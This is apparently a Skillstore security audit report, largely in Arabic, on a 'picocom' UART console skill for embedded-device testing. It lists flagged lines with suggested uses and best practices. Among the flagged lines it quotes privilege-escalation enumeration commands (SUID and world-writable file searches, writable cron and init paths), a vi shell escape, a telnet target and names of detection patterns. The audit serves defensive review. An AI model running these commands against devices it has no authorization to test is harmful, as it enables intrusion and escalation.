The hardcoded address is used for triggering device API actions. It can be legitimate testing but remains a network action risk.

متوسط

SKILL.md:535

Hardcoded IP address

telnet 192.168.1.1

The hardcoded address is used for telnet access in an enumeration section. This may enable unsafe remote administration testing.

متوسط

examples.md:321

Unix shell invocation

:set shell=/bin/sh

The snippet references shell invocation in an exploitation workflow. Legitimate testing is possible, but the context is risky.

متوسط

SKILL.md:132

Hardcoded URL

--trigger-script "curl http://192.168.1.100/api/reboot" \

The URL is used to trigger device API actions during monitoring. It is legitimate in a lab but remains network action risk.

متوسط

SKILL.md:395

Hardcoded URL

--trigger-script "curl http://192.168.1.100/api/reboot" \

The URL is used to trigger device API actions during monitoring. It is legitimate in a lab but remains network action risk.

متوسط

examples.md:152

Standard device file access

find / -perm -4000 -type f 2>/dev/null

The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.

متوسط

examples.md:187

Standard device file access

find /etc/cron* -writable 2>/dev/null

The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.

متوسط

SKILL.md:664

Standard device file access

find / -perm -4000 -type f 2>/dev/null

The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.

متوسط

SKILL.md:665

Standard device file access

find / -perm -2000 -type f 2>/dev/null

The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.

متوسط

SKILL.md:668

Standard device file access

find / -perm -2 -type f 2>/dev/null

The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.

متوسط

SKILL.md:669

Standard device file access

find / -perm -2 -type d 2>/dev/null

The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.

متوسط

SKILL.md:727

Standard device file access

find /etc/init.d/ -writable 2>/dev/null

The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.

متوسط

SKILL.md:728

Standard device file access

find /lib/systemd/system/ -writable 2>/dev/null

The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.

عوامل الخطر

⚙️ الأوامر الخارجية (50)

examples.md:168 examples.md:339 examples.md:168 examples.md:339 examples.md:357 examples.md:421 examples.md:57 examples.md:88 examples.md:98 examples.md:116 examples.md:158 examples.md:161 examples.md:165 examples.md:168 examples.md:171 examples.md:179 examples.md:180 examples.md:190 examples.md:192 examples.md:280 examples.md:286 examples.md:292 examples.md:295 examples.md:318 examples.md:321 examples.md:329 examples.md:333 examples.md:339 examples.md:342 examples.md:345 examples.md:348 examples.md:354 examples.md:357 examples.md:360 examples.md:174 examples.md:176 examples.md:179 examples.md:180 OBSERVING_SESSIONS.md:314 OBSERVING_SESSIONS.md:81 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:117 OBSERVING_SESSIONS.md:289 OBSERVING_SESSIONS.md:301 serial_helper.py:596 SKILL.md:13 SKILL.md:19 SKILL.md:23 SKILL.md:26-29 SKILL.md:29-40

🌐 الوصول إلى الشبكة (18)

examples.md:228 examples.md:391 OBSERVING_SESSIONS.md:51 SKILL.md:132 SKILL.md:366 SKILL.md:395 SKILL.md:533 SKILL.md:542 SKILL.md:543 SKILL.md:544 SKILL.md:897 SKILL.md:898 SKILL.md:132 SKILL.md:366 SKILL.md:395 SKILL.md:535 SKILL.md:695 SKILL.md:696

📁 الوصول إلى نظام الملفات (50)

🔑 متغيرات البيئة (1)

examples.md:406

الأنماط المكتشفة

Sudoers file accessSystem password file access×12SSH directory access×4Malware type keywords×15Network scanning toolsUID/GID manipulationNetwork reconnaissance×15System reconnaissance×8

دقّقه: codex عرض سجل التدقيق →

شارك واستشهد بهذا التقرير

شارك تقرير التقييم المرتبط بالإصدار والشارة المحايدة وبطاقة التضمين والاستشهادات. تعرض Skillstore الأدلة من دون أن تقرر ما إذا كانت هذه المهارة آمنة.

فتح التقرير المرتبط بالإصدار

نسخ رابط التقرير

https://skillstore.io/skills/brownfinesecurity-picocom/audits/10?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_report

شارة Markdown

[![Skillstore security assessment](https://skillstore.io/badges/skills/brownfinesecurity-picocom/security.svg)](https://skillstore.io/skills/brownfinesecurity-picocom?utm_source=security_passport_badge)

شارة HTML

<a href="https://skillstore.io/skills/brownfinesecurity-picocom?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/brownfinesecurity-picocom/security.svg" alt="Skillstore security assessment" loading="lazy"></a>

بطاقة قابلة للتضمين

<iframe src="https://skillstore.io/embed/skills/brownfinesecurity-picocom.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>

الاستشهادات الأكاديمية (APA · BibTeX · CFF)

اقتباس APA

BrownFineSecurity. (2026). picocom security audit report (audit version 10) [Author version unspecified]. Skillstore. https://skillstore.io/skills/brownfinesecurity-picocom/audits/10

اقتباس BibTeX

@techreport{brownfinesecurity-brownfinesecurity-picocom-2026,
  author = {BrownFineSecurity},
  title = {picocom security audit report (audit version 10)},
  institution = {Skillstore},
  year = {2026},
  number = {10},
  url = {https://skillstore.io/skills/brownfinesecurity-picocom/audits/10},
  note = {Author version unspecified}
}

CITATION.cff

cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "picocom security audit report (audit version 10)"
version: "unspecified"
type: report
authors:
  - name: "BrownFineSecurity"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/brownfinesecurity-picocom/audits/10"
identifiers:
  - type: other
    value: "skillstore:brownfinesecurity-picocom:audit:10"
    description: "Skillstore immutable audit report identifier"

تقييم Skillstore

سبب هذا التقييم موثوقية الأدلة: متوسط

الهندسة المعمارية

قابلية الصيانة

المحتوى

المجتمع

الامتثال للمواصفات

ما الذي يمكنك بناؤه

التقاط سجلات الإقلاع

سجل مخرجات الإقلاع من جهاز مضمن وحدد الموجهات، ومشكلات معدل الباود، وخدمات بدء التشغيل.

فحص وحدات التحكم المصرّح بها

شغّل أوامر مضبوطة على جهاز مختبري واحتفظ بنسخة نصية من الجلسة لتقرير أمني.

اختبار واجهات مودم AT

أرسل أوامر AT إلى مودمات خلوية أو ساتلية وصنّف الاستجابات العادية، واستجابات الخطأ، واستجابات الاتصال.

جرّب هذه الموجّهات

بدء جلسة UART أساسية

استخدم مهارة picocom للاتصال بجهازي المصرّح به على /dev/ttyUSB0 بسرعة 115200 baud. التقط أول موجه ولخص ما تراه.

مراقبة مخرجات الإقلاع

راقب مخرجات UART لمدة 60 ثانية أثناء إعادة تشغيل الجهاز. احفظ سجل جلسة ولخص مراحل الإقلاع، والموجهات، والأخطاء.

تشغيل تعداد مضبوط

استخدم المساعد التسلسلي مع الموجه الذي أوفره. شغّل قائمة تحقق صغيرة ومصرّح بها وأعد ملخص نتائج موجزًا مع أدلة من السجل.

مقارنة أحداث UART المشغلة

التقط خط أساس، وشغّل أمر التشغيل المعتمد مني، وقارن مخرجات UART قبل التشغيل وأثناءه وبعده. أبرز التحذيرات الجديدة أو الأعطال.

أفضل الممارسات

استخدم هذه المهارة فقط على الأجهزة التي تملكها أو لديك تفويض كتابي لاختبارها.
خزّن سجلات الجلسات خارج المسارات المؤقتة المشتركة عندما قد تحتوي على أسرار.
ابدأ بالمراقبة السلبية قبل تشغيل أوامر تغير حالة الجهاز.

تجنب

لا تستخدم أمثلة الاستمرارية أو الأبواب الخلفية أو الهروب إلى shell على أنظمة دون تفويض صريح.
لا تنشر سجلات الجلسات الخام لأنها قد تتضمن كلمات مرور أو مفاتيح أو معرفات أجهزة.
لا تفترض أن معدل باود واحدًا أو نمط موجه واحدًا أو نهاية سطر واحدة تعمل مع كل جهاز مضمن.